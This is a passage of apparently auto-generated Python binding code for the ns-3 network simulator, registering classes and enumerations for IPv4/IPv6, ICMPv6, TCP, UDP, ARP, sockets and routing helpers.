module.add_class('Icmpv6OptionMtu', parent=root_module['ns3::Icmpv6OptionHeader'])
## icmpv6-header.h (module 'internet'): ns3::Icmpv6OptionPrefixInformation [class]
module.add_class('Icmpv6OptionPrefixInformation', parent=root_module['ns3::Icmpv6OptionHeader'])
## icmpv6-header.h (module 'internet'): ns3::Icmpv6OptionRedirected [class]
module.add_class('Icmpv6OptionRedirected', parent=root_module['ns3::Icmpv6OptionHeader'])
## icmpv6-header.h (module 'internet'): ns3::Icmpv6ParameterError [class]
module.add_class('Icmpv6ParameterError', parent=root_module['ns3::Icmpv6Header'])
## icmpv6-header.h (module 'internet'): ns3::Icmpv6RA [class]
module.add_class('Icmpv6RA', parent=root_module['ns3::Icmpv6Header'])
## icmpv6-header.h (module 'internet'): ns3::Icmpv6RS [class]
module.add_class('Icmpv6RS', parent=root_module['ns3::Icmpv6Header'])
## icmpv6-header.h (module 'internet'): ns3::Icmpv6Redirection [class]
module.add_class('Icmpv6Redirection', parent=root_module['ns3::Icmpv6Header'])
## icmpv6-header.h (module 'internet'): ns3::Icmpv6TimeExceeded [class]
module.add_class('Icmpv6TimeExceeded', parent=root_module['ns3::Icmpv6Header'])
## icmpv6-header.h (module 'internet'): ns3::Icmpv6TooBig [class]
module.add_class('Icmpv6TooBig', parent=root_module['ns3::Icmpv6Header'])
## random-variable.h (module 'core'): ns3::IntEmpiricalVariable [class]
module.add_class('IntEmpiricalVariable', import_from_module='ns.core', parent=root_module['ns3::EmpiricalVariable'])
## internet-stack-helper.h (module 'internet'): ns3::InternetStackHelper [class]
module.add_class('InternetStackHelper', parent=[root_module['ns3::PcapHelperForIpv4'], root_module['ns3::PcapHelperForIpv6'], root_module['ns3::AsciiTraceHelperForIpv4'], root_module['ns3::AsciiTraceHelperForIpv6']])
## ipv4-global-routing-helper.h (module 'internet'): ns3::Ipv4GlobalRoutingHelper [class]
module.add_class('Ipv4GlobalRoutingHelper', parent=root_module['ns3::Ipv4RoutingHelper'])
## ipv4-header.h (module 'internet'): ns3::Ipv4Header [class]
module.add_class('Ipv4Header', parent=root_module['ns3::Header'])
## ipv4-list-routing-helper.h (module 'internet'): ns3::Ipv4ListRoutingHelper [class]
module.add_class('Ipv4ListRoutingHelper', parent=root_module['ns3::Ipv4RoutingHelper'])
## ipv4-packet-info-tag.h (module 'internet'): ns3::Ipv4PacketInfoTag [class]
module.add_class('Ipv4PacketInfoTag', parent=root_module['ns3::Tag'])
## ipv6-extension-header.h (module 'internet'): ns3::Ipv6ExtensionHeader [class]
module.add_class('Ipv6ExtensionHeader', parent=root_module['ns3::Header'])
## ipv6-extension-header.h (module 'internet'): ns3::Ipv6ExtensionHopByHopHeader [class]
module.add_class('Ipv6ExtensionHopByHopHeader', parent=[root_module['ns3::Ipv6ExtensionHeader'], root_module['ns3::OptionField']])
## ipv6-extension-header.h (module 'internet'): ns3::Ipv6ExtensionRoutingHeader [class]
module.add_class('Ipv6ExtensionRoutingHeader', parent=root_module['ns3::Ipv6ExtensionHeader'])
## ipv6-header.h (module 'internet'): ns3::Ipv6Header [class]
module.add_class('Ipv6Header', parent=root_module['ns3::Header'])
## ipv6-header.h (module 'internet'): ns3::Ipv6Header::NextHeader_e [enumeration]
module.add_enum('NextHeader_e', ['IPV6_EXT_HOP_BY_HOP', 'IPV6_IPV4', 'IPV6_TCP', 'IPV6_UDP', 'IPV6_IPV6', 'IPV6_EXT_ROUTING', 'IPV6_EXT_FRAGMENTATION', 'IPV6_EXT_CONFIDENTIALITY', 'IPV6_EXT_AUTHENTIFICATION', 'IPV6_ICMPV6', 'IPV6_EXT_END', 'IPV6_EXT_DESTINATION', 'IPV6_SCTP', 'IPV6_EXT_MOBILITY', 'IPV6_UDP_LITE'], outer_class=root_module['ns3::Ipv6Header'])
## ipv6-list-routing-helper.h (module 'internet'): ns3::Ipv6ListRoutingHelper [class]
module.add_class('Ipv6ListRoutingHelper', parent=root_module['ns3::Ipv6RoutingHelper'])
## ipv6-option-header.h (module 'internet'): ns3::Ipv6OptionHeader [class]
module.add_class('Ipv6OptionHeader', parent=root_module['ns3::Header'])
## ipv6-option-header.h (module 'internet'): ns3::Ipv6OptionHeader::Alignment [struct]
module.add_class('Alignment', outer_class=root_module['ns3::Ipv6OptionHeader'])
## ipv6-option-header.h (module 'internet'): ns3::Ipv6OptionJumbogramHeader [class]
module.add_class('Ipv6OptionJumbogramHeader', parent=root_module['ns3::Ipv6OptionHeader'])
## ipv6-option-header.h (module 'internet'): ns3::Ipv6OptionPad1Header [class]
module.add_class('Ipv6OptionPad1Header', parent=root_module['ns3::Ipv6OptionHeader'])
## ipv6-option-header.h (module 'internet'): ns3::Ipv6OptionPadnHeader [class]
module.add_class('Ipv6OptionPadnHeader', parent=root_module['ns3::Ipv6OptionHeader'])
## ipv6-option-header.h (module 'internet'): ns3::Ipv6OptionRouterAlertHeader [class]
module.add_class('Ipv6OptionRouterAlertHeader', parent=root_module['ns3::Ipv6OptionHeader'])
## ipv6-packet-info-tag.h (module 'internet'): ns3::Ipv6PacketInfoTag [class]
module.add_class('Ipv6PacketInfoTag', parent=root_module['ns3::Tag'])
## random-variable.h (module 'core'): ns3::LogNormalVariable [class]
module.add_class('LogNormalVariable', import_from_module='ns.core', parent=root_module['ns3::RandomVariable'])
## random-variable.h (module 'core'): ns3::NormalVariable [class]
module.add_class('NormalVariable', import_from_module='ns.core', parent=root_module['ns3::RandomVariable'])
## object.h (module 'core'): ns3::Object [class]
module.add_class('Object', import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::Object, ns3::ObjectBase, ns3::ObjectDeleter >'])
## object.h (module 'core'): ns3::Object::AggregateIterator [class]
module.add_class('AggregateIterator', import_from_module='ns.core', outer_class=root_module['ns3::Object'])
## random-variable.h (module 'core'): ns3::ParetoVariable [class]
module.add_class('ParetoVariable', import_from_module='ns.core', parent=root_module['ns3::RandomVariable'])
## pcap-file-wrapper.h (module 'network'): ns3::PcapFileWrapper [class]
module.add_class('PcapFileWrapper', import_from_module='ns.network', parent=root_module['ns3::Object'])
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::AttributeAccessor, ns3::empty, ns3::DefaultDeleter<ns3::AttributeAccessor> > [class]
module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::AttributeAccessor', 'ns3::empty', 'ns3::DefaultDeleter<ns3::AttributeAccessor>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'))
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::AttributeChecker, ns3::empty, ns3::DefaultDeleter<ns3::AttributeChecker> > [class]
module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::AttributeChecker', 'ns3::empty', 'ns3::DefaultDeleter<ns3::AttributeChecker>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'))
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::AttributeValue, ns3::empty, ns3::DefaultDeleter<ns3::AttributeValue> > [class]
module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::AttributeValue', 'ns3::empty', 'ns3::DefaultDeleter<ns3::AttributeValue>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'))
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::CallbackImplBase, ns3::empty, ns3::DefaultDeleter<ns3::CallbackImplBase> > [class]
module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::CallbackImplBase', 'ns3::empty', 'ns3::DefaultDeleter<ns3::CallbackImplBase>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'))
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::EventImpl, ns3::empty, ns3::DefaultDeleter<ns3::EventImpl> > [class]
module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::EventImpl', 'ns3::empty', 'ns3::DefaultDeleter<ns3::EventImpl>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'))
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Ipv4MulticastRoute, ns3::empty, ns3::DefaultDeleter<ns3::Ipv4MulticastRoute> > [class]
module.add_class('SimpleRefCount', automatic_type_narrowing=True, template_parameters=['ns3::Ipv4MulticastRoute', 'ns3::empty', 'ns3::DefaultDeleter<ns3::Ipv4MulticastRoute>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'))
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Ipv4Route, ns3::empty, ns3::DefaultDeleter<ns3::Ipv4Route> > [class]
module.add_class('SimpleRefCount', automatic_type_narrowing=True, template_parameters=['ns3::Ipv4Route', 'ns3::empty', 'ns3::DefaultDeleter<ns3::Ipv4Route>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'))
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Ipv6MulticastRoute, ns3::empty, ns3::DefaultDeleter<ns3::Ipv6MulticastRoute> > [class]
module.add_class('SimpleRefCount', automatic_type_narrowing=True, template_parameters=['ns3::Ipv6MulticastRoute', 'ns3::empty', 'ns3::DefaultDeleter<ns3::Ipv6MulticastRoute>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'))
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Ipv6Route, ns3::empty, ns3::DefaultDeleter<ns3::Ipv6Route> > [class]
module.add_class('SimpleRefCount', automatic_type_narrowing=True, template_parameters=['ns3::Ipv6Route', 'ns3::empty', 'ns3::DefaultDeleter<ns3::Ipv6Route>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'))
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::NixVector, ns3::empty, ns3::DefaultDeleter<ns3::NixVector> > [class]
module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::NixVector', 'ns3::empty', 'ns3::DefaultDeleter<ns3::NixVector>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'))
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::OutputStreamWrapper, ns3::empty, ns3::DefaultDeleter<ns3::OutputStreamWrapper> > [class]
module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::OutputStreamWrapper', 'ns3::empty', 'ns3::DefaultDeleter<ns3::OutputStreamWrapper>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'))
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Packet, ns3::empty, ns3::DefaultDeleter<ns3::Packet> > [class]
module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::Packet', 'ns3::empty', 'ns3::DefaultDeleter<ns3::Packet>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'))
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::TraceSourceAccessor, ns3::empty, ns3::DefaultDeleter<ns3::TraceSourceAccessor> > [class]
module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::TraceSourceAccessor', 'ns3::empty', 'ns3::DefaultDeleter<ns3::TraceSourceAccessor>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'))
## socket.h (module 'network'): ns3::Socket [class]
module.add_class('Socket', import_from_module='ns.network', parent=root_module['ns3::Object'])
## socket.h (module 'network'): ns3::Socket::SocketErrno [enumeration]
module.add_enum('SocketErrno', ['ERROR_NOTERROR', 'ERROR_ISCONN', 'ERROR_NOTCONN', 'ERROR_MSGSIZE', 'ERROR_AGAIN', 'ERROR_SHUTDOWN', 'ERROR_OPNOTSUPP', 'ERROR_AFNOSUPPORT', 'ERROR_INVAL', 'ERROR_BADF', 'ERROR_NOROUTETOHOST', 'ERROR_NODEV', 'ERROR_ADDRNOTAVAIL', 'ERROR_ADDRINUSE', 'SOCKET_ERRNO_LAST'], outer_class=root_module['ns3::Socket'], import_from_module='ns.network')
## socket.h (module 'network'): ns3::Socket::SocketType [enumeration]
module.add_enum('SocketType', ['NS3_SOCK_STREAM', 'NS3_SOCK_SEQPACKET', 'NS3_SOCK_DGRAM', 'NS3_SOCK_RAW'], outer_class=root_module['ns3::Socket'], import_from_module='ns.network')
## socket.h (module 'network'): ns3::SocketAddressTag [class]
module.add_class('SocketAddressTag', import_from_module='ns.network', parent=root_module['ns3::Tag'])
## socket-factory.h (module 'network'): ns3::SocketFactory [class]
module.add_class('SocketFactory', import_from_module='ns.network', parent=root_module['ns3::Object'])
## socket.h (module 'network'): ns3::SocketIpTtlTag [class]
module.add_class('SocketIpTtlTag', import_from_module='ns.network', parent=root_module['ns3::Tag'])
## socket.h (module 'network'): ns3::SocketSetDontFragmentTag [class]
module.add_class('SocketSetDontFragmentTag', import_from_module='ns.network', parent=root_module['ns3::Tag'])
## tcp-header.h (module 'internet'): ns3::TcpHeader [class]
module.add_class('TcpHeader', parent=root_module['ns3::Header'])
## tcp-header.h (module 'internet'): ns3::TcpHeader::Flags_t [enumeration]
module.add_enum('Flags_t', ['NONE', 'FIN', 'SYN', 'RST', 'PSH', 'ACK', 'URG'], outer_class=root_module['ns3::TcpHeader'])
## tcp-socket.h (module 'internet'): ns3::TcpSocket [class]
module.add_class('TcpSocket', parent=root_module['ns3::Socket'])
## tcp-socket-factory.h (module 'internet'): ns3::TcpSocketFactory [class]
module.add_class('TcpSocketFactory', parent=root_module['ns3::SocketFactory'])
## nstime.h (module 'core'): ns3::Time [class]
module.add_class('Time', import_from_module='ns.core')
## nstime.h (module 'core'): ns3::Time::Unit [enumeration]
module.add_enum('Unit', ['S', 'MS', 'US', 'NS', 'PS', 'FS', 'LAST'], outer_class=root_module['ns3::Time'], import_from_module='ns.core')
## nstime.h (module 'core'): ns3::Time [class]
root_module['ns3::Time'].implicitly_converts_to(root_module['ns3::int64x64_t'])
## trace-source-accessor.h (module 'core'): ns3::TraceSourceAccessor [class]
module.add_class('TraceSourceAccessor', import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::TraceSourceAccessor, ns3::empty, ns3::DefaultDeleter<ns3::TraceSourceAccessor> >'])
## trailer.h (module 'network'): ns3::Trailer [class]
module.add_class('Trailer', import_from_module='ns.network', parent=root_module['ns3::Chunk'])
## udp-header.h (module 'internet'): ns3::UdpHeader [class]
module.add_class('UdpHeader', parent=root_module['ns3::Header'])
## udp-socket.h (module 'internet'): ns3::UdpSocket [class]
module.add_class('UdpSocket', parent=root_module['ns3::Socket'])
## udp-socket-factory.h (module 'internet'): ns3::UdpSocketFactory [class]
module.add_class('UdpSocketFactory', parent=root_module['ns3::SocketFactory'])
## arp-cache.h (module 'internet'): ns3::ArpCache [class]
module.add_class('ArpCache', parent=root_module['ns3::Object'])
## arp-cache.h (module 'internet'): ns3::ArpCache::Entry [class]
module.add_class('Entry', outer_class=root_module['ns3::ArpCache'])
## arp-header.h (module 'internet'): ns3::ArpHeader [class]
module.add_class('ArpHeader', parent=root_module['ns3::Header'])
## arp-header.h (module 'internet'): ns3::ArpHeader::ArpType_e [enumeration]
module.add_enum('ArpType_e', ['ARP_TYPE_REQUEST', 'ARP_TYPE_REPLY'], outer_class=root_module['ns3::ArpHeader'])
## arp-l3-protocol.h (module 'internet'): ns3::ArpL3Protocol [class]
module.add_class('ArpL3Protocol', parent=root_module['ns3::Object'])
## attribute.h (module 'core'): ns3::AttributeAccessor [class]
module.add_class('AttributeAccessor', import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::AttributeAccessor, ns3::empty, ns3::DefaultDeleter<ns3::AttributeAccessor> >'])
## attribute.h (module 'core'): ns3::AttributeChecker [class]
module.add_class('AttributeChecker', allow_subclassing=False, automatic_type_narrowing=True, import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::AttributeChecker, ns3::empty, ns3::DefaultDeleter<ns3::AttributeChecker> >'])
## attribute.h (module 'core'): ns3::AttributeValue [class]
module.add_class('AttributeValue', allow_subclassing=False, automatic_type_narrowing=True, import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::AttributeValue, ns3::empty, ns3::DefaultDeleter<ns3::AttributeValue> >'])
## callback.h (module 'core'): ns3::CallbackChecker [class]
module.add_class('CallbackChecker', import_from_module='ns.core', parent=root_module['ns3::AttributeChecker'])
## callback.h (module 'core'): ns3::CallbackImplBase [class]
module.add_class('CallbackImplBase', import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::CallbackImplBase, ns3::empty, ns3::DefaultDeleter<ns3::CallbackImplBase> >'])
## callback.h (module 'core'): ns3::CallbackValue [class]
module.add_class('CallbackValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue'])
## channel.h (module 'network'): ns3::Channel [class]
module.add_class('Channel', import_from_module='ns.network', parent=root_module['ns3::Object'])
## attribute.h (module 'core'): ns3::EmptyAttributeValue [class]
module.add_class('EmptyAttributeValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue'])
## event-impl.h (module 'core'): ns3::EventImpl [class]
module.add_class('EventImpl', import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::EventImpl, ns3::empty, ns3::DefaultDeleter<ns3::EventImpl> >'])
## global-router-interface.h (module 'internet'): ns3::GlobalRouter [class]
module.add_class('GlobalRouter', destructor_visibility='private', parent=root_module['ns3::Object'])
## icmpv6-header.h (module 'internet'): ns3::Icmpv6DestinationUnreachable [class]
module.add_class('Icmpv6DestinationUnreachable', parent=root_module['ns3::Icmpv6Header'])
## icmpv6-header.h (module 'internet'): ns3::Icmpv6Echo [class]
module.add_class('Icmpv6Echo', parent=root_module['ns3::Icmpv6Header'])
## ipv4.h (module 'internet'): ns3::Ipv4 [class]
module.add_class('Ipv4', parent=root_module['ns3::Object'])
## ipv4-address.h (module 'network'): ns3::Ipv4AddressChecker [class]
module.add_class('Ipv4AddressChecker', import_from_module='ns.network', parent=root_module['ns3::AttributeChecker'])
## ipv4-address.h (module 'network'): ns3::Ipv4AddressValue [class]
module.add_class('Ipv4AddressValue', import_from_module='ns.network', parent=root_module['ns3::AttributeValue'])
## ipv4-interface.h (module 'internet'): ns3::Ipv4Interface [class]
module.add_class('Ipv4Interface', parent=root_module['ns3::Object'])
## ipv4-l3-protocol.h (module 'internet'): ns3::Ipv4L3Protocol [class]
module.add_class('Ipv4L3Protocol', parent=root_module['ns3::Ipv4'])
## ipv4-l3-protocol.h (module 'internet'): ns3::Ipv4L3Protocol::DropReason [enumeration]
module.add_enum('DropReason', ['DROP_TTL_EXPIRED', 'DROP_NO_ROUTE', 'DROP_BAD_CHECKSUM', 'DROP_INTERFACE_DOWN', 'DROP_ROUTE_ERROR', 'DROP_FRAGMENT_TIMEOUT'], outer_class=root_module['ns3::Ipv4L3Protocol'])
## ipv4-l4-protocol.h (module 'internet'): ns3::Ipv4L4Protocol [class]
module.add_class('Ipv4L4Protocol', parent=root_module['ns3::Object'])
## ipv4-l4-protocol.h (module 'internet'): ns3::Ipv4L4Protocol::RxStatus [enumeration]
module.add_enum('RxStatus', ['RX_OK', 'RX_CSUM_FAILED', 'RX_ENDPOINT_CLOSED', 'RX_ENDPOINT_UNREACH'], outer_class=root_module['ns3::Ipv4L4Protocol'])
## ipv4-address.h (module 'network'): ns3::Ipv4MaskChecker [class]
module.add_class('Ipv4MaskChecker', import_from_module='ns.network', parent=root_module['ns3::AttributeChecker'])
## ipv4-address.h (module 'network'): ns3::Ipv4MaskValue [class]
module.add_class('Ipv4MaskValue', import_from_module='ns.network', parent=root_module['ns3::AttributeValue'])
## ipv4-route.h (module 'internet'): ns3::Ipv4MulticastRoute [class]
module.add_class('Ipv4MulticastRoute', parent=root_module['ns3::SimpleRefCount< ns3::Ipv4MulticastRoute, ns3::empty, ns3::DefaultDeleter<ns3::Ipv4MulticastRoute> >'])
## ipv4-raw-socket-factory.h (module 'internet'): ns3::Ipv4RawSocketFactory [class]
module.add_class('Ipv4RawSocketFactory', parent=root_module['ns3::SocketFactory'])
## ipv4-raw-socket-impl.h (module 'internet'): ns3::Ipv4RawSocketImpl [class]
module.add_class('Ipv4RawSocketImpl', parent=root_module['ns3::Socket'])
## ipv4-route.h (module 'internet'): ns3::Ipv4Route [class]
module.add_class('Ipv4Route', parent=root_module['ns3::SimpleRefCount< ns3::Ipv4Route, ns3::empty, ns3::DefaultDeleter<ns3::Ipv4Route> >'])
## ipv4-routing-protocol.h (module 'internet'): ns3::Ipv4RoutingProtocol [class]
module.add_class('Ipv4RoutingProtocol', parent=root_module['ns3::Object'])
## ipv4-static-routing.h (module 'internet'): ns3::Ipv4StaticRouting [class]
module.add_class('Ipv4StaticRouting', parent=root_module['ns3::Ipv4RoutingProtocol'])
## ipv6.h (module 'internet'): ns3::Ipv6 [class]
module.add_class('Ipv6', parent=root_module['ns3::Object'])
## ipv6-address.h (module 'network'): ns3::Ipv6AddressChecker [class]
module.add_class('Ipv6AddressChecker', import_from_module='ns.network', parent=root_module['ns3::AttributeChecker'])
## ipv6-address.h (module 'network'): ns3::Ipv6AddressValue [class]
module.add_class('Ipv6AddressValue', import_from_module='ns.network', parent=root_module['ns3::AttributeValue'])
## ipv6-extension-header.h (module 'internet'): ns3::Ipv6ExtensionAHHeader [class]
module.add_class('Ipv6ExtensionAHHeader', parent=root_module['ns3::Ipv6ExtensionHeader'])
## ipv6-extension-header.h (module 'internet'): ns3::Ipv6ExtensionDestinationHeader [class]
module.add_class('Ipv6ExtensionDestinationHeader', parent=[root_module['ns3::Ipv6ExtensionHeader'], root_module['ns3::OptionField']])
## ipv6-extension-header.h (module 'internet'): ns3::Ipv6ExtensionESPHeader [class]
module.add_class('Ipv6ExtensionESPHeader', parent=root_module['ns3::Ipv6ExtensionHeader'])
## ipv6-extension-header.h (module 'internet'): ns3::Ipv6ExtensionFragmentHeader [class]
module.add_class('Ipv6ExtensionFragmentHeader', parent=root_module['ns3::Ipv6ExtensionHeader'])
## ipv6-extension-header.h (module 'internet'): ns3::Ipv6ExtensionLooseRoutingHeader [class]
module.add_class('Ipv6ExtensionLooseRoutingHeader', parent=root_module['ns3::Ipv6ExtensionRoutingHeader'])
## ipv6-interface.h (module 'internet'): ns3::Ipv6Interface [class]
module.add_class('Ipv6Interface', parent=root_module['ns3::Object'])
## ipv6-l3-protocol.h (module 'internet'): ns3::Ipv6L3Protocol [class]
module.add_class('Ipv6L3Protocol', parent=root_module['ns3::Ipv6'])
## ipv6-l3-protocol.h (module 'internet'): ns3::Ipv6L3Protocol::DropReason [enumeration]
module.add_enum('DropReason', ['DROP_TTL_EXPIRED', 'DROP_NO_ROUTE', 'DROP_INTERFACE_DOWN', 'DROP_ROUTE_ERROR', 'DROP_UNKNOWN_PROTOCOL'], outer_class=root_module['ns3::Ipv6L3Protocol'])
## ipv6-l4-protocol.h (module 'internet'): ns3::Ipv6L4Protocol [class]
module.add_class('Ipv6L4Protocol', parent=root_module['ns3::Object'])
## ipv6-l4-protocol.h (module 'internet'): ns3::Ipv6L4Protocol::RxStatus_e [enumeration]
module.add_enum('RxStatus_e', ['RX_OK', 'RX_CSUM_FAILED', 'RX_ENDPOINT_UNREACH'], outer_class=root_module['ns3::Ipv6L4Protocol'])
## ipv6-route.h (module 'internet'): ns3::Ipv6MulticastRoute [class]
module.add_class('Ipv6MulticastRoute', parent=root_module['ns3::SimpleRefCount< ns3::Ipv6MulticastRoute, ns3::empty, ns3::DefaultDeleter<ns3::Ipv6MulticastRoute> >'])
## ipv6-address.h (module 'network'): ns3::Ipv6PrefixChecker [class]
module.add_class('Ipv6PrefixChecker', import_from_module='ns.network', parent=root_module['ns3::AttributeChecker'])
## ipv6-address.h (module 'network'): ns3::Ipv6PrefixValue [class]
module.add_class('Ipv6PrefixValue', import_from_module='ns.network', parent=root_module['ns3::AttributeValue'])
## ipv6-raw-socket-factory.h (module 'internet'): ns3::Ipv6RawSocketFactory [class]
module.add_class('Ipv6RawSocketFactory', parent=root_module['ns3::SocketFactory'])
## ipv6-route.h (module 'internet'): ns3::Ipv6Route [class]
module.add_class('Ipv6Route', parent=root_module['ns3::SimpleRefCount< ns3::Ipv6Route, ns3::empty, ns3::DefaultDeleter<ns3::Ipv6Route> >'])
## ipv6-routing-protocol.h (module 'internet'): ns3::Ipv6RoutingProtocol [class]
module.add_class('Ipv6RoutingProtocol', parent=root_module['ns3::Object'])
## ipv6-static-routing.h (module 'internet'): ns3::Ipv6StaticRouting [class]
module.add_class('Ipv6StaticRouting', parent=root_module['ns3::Ipv6RoutingProtocol'])
## mac48-address.h (module 'network'): ns3::Mac48AddressChecker [class]
module.add_class('Mac48AddressChecker', import_from_module='ns.network', parent=root_module['ns3::AttributeChecker'])
## mac48-address.h (module 'network'): ns3::Mac48AddressValue [class]
module.add_class('Mac48AddressValue', import_from_module='ns.network', parent=root_module['ns3::AttributeValue'])
## ndisc-cache.h (module 'internet'): ns3::NdiscCache [class]
module.add_class('NdiscCache', parent=root_module['ns3::Object'])
## ndisc-cache.h (module 'internet'): ns3::NdiscCache::Entry [class]
module.add_class('Entry', outer_class=root_module['ns3::NdiscCache'])
## net-device.h (module 'network'): ns3::NetDevice [class]
module.add_class('NetDevice', import_from_module='ns.network', parent=root_module['ns3::Object'])
## net-device.h (module 'network'): ns3::NetDevice::PacketType [enumeration]
module.add_enum('PacketType', ['PACKET_HOST', 'NS3_PACKET_HOST', 'PACKET_BROADCAST', 'NS3_PACKET_BROADCAST', 'PACKET_MULTICAST', 'NS3_PACKET_MULTICAST', 'PACKET_OTHERHOST', 'NS3_PACKET_OTHERHOST'], outer_class=root_module['ns3::NetDevice'], import_from_module='ns.network')
## nix-vector.h (module 'network'): ns3::NixVector [class]
module.add_class('NixVector', import_from_module='ns.network', parent=root_module['ns3::SimpleRefCount< ns3::NixVector, ns3::empty, ns3::DefaultDeleter<ns3::NixVector> >'])
## node.h (module 'network'): ns3::Node [class]
module.add_class('Node', import_from_module='ns.network', parent=root_module['ns3::Object'])
## object-factory.h (module 'core'): ns3::ObjectFactoryChecker [class]
module.add_class('ObjectFactoryChecker', import_from_module='ns.core', parent=root_module['ns3::AttributeChecker'])
## object-factory.h (module 'core'): ns3::ObjectFactoryValue [class]
module.add_class('ObjectFactoryValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue'])
## output-stream-wrapper.h (module 'network'): ns3::OutputStreamWrapper [class]
module.add_class('OutputStreamWrapper', import_from_module='ns.network', parent=root_module['ns3::SimpleRefCount< ns3::OutputStreamWrapper, ns3::empty, ns3::DefaultDeleter<ns3::OutputStreamWrapper> >'])
## packet.h (module 'network'): ns3::Packet [class]
module.add_class('Packet', import_from_module='ns.network', parent=root_module['ns3::SimpleRefCount< ns3::Packet, ns3::empty, ns3::DefaultDeleter<ns3::Packet> >'])
## random-variable.h (module 'core'): ns3::RandomVariableChecker [class]
module.add_class('RandomVariableChecker', import_from_module='ns.core', parent=root_module['ns3::AttributeChecker'])
## random-variable.h (module 'core'): ns3::RandomVariableValue [class]
module.add_class('RandomVariableValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue'])
## tcp-l4-protocol.h (module 'internet'): ns3::TcpL4Protocol [class]
module.add_class('TcpL4Protocol', parent=root_module['ns3::Ipv4L4Protocol'])
## nstime.h (module 'core'): ns3::TimeChecker [class]
module.add_class('TimeChecker', import_from_module='ns.core', parent=root_module['ns3::AttributeChecker'])
## nstime.h (module 'core'): ns3::TimeValue [class]
module.add_class('TimeValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue'])
## type-id.h (module 'core'): ns3::TypeIdChecker [class]
module.add_class('TypeIdChecker', import_from_module='ns.core', parent=root_module['ns3::AttributeChecker'])
## type-id.h (module 'core'): ns3::TypeIdValue [class]
module.add_class('TypeIdValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue'])
## udp-l4-protocol.h (module 'internet'): ns3::UdpL4Protocol [class]
module.add_class('UdpL4Protocol', parent=root_module['ns3::Ipv4L4Protocol'])
## address.h (module 'network'): ns3::AddressChecker [class]
module.add_class('AddressChecker', import_from_module='ns.network', parent=root_module['ns3::AttributeChecker'])
## address.h (module 'network'): ns3::AddressValue [class]
module.add_class('AddressValue', import_from_module='ns.network', parent=root_module['ns3::AttributeValue'])
## bridge-channel.h (module 'bridge'): ns3::BridgeChannel [class]
module.add_class('BridgeChannel', import_from_module='ns.bridge', parent=root_module['ns3::Channel'])
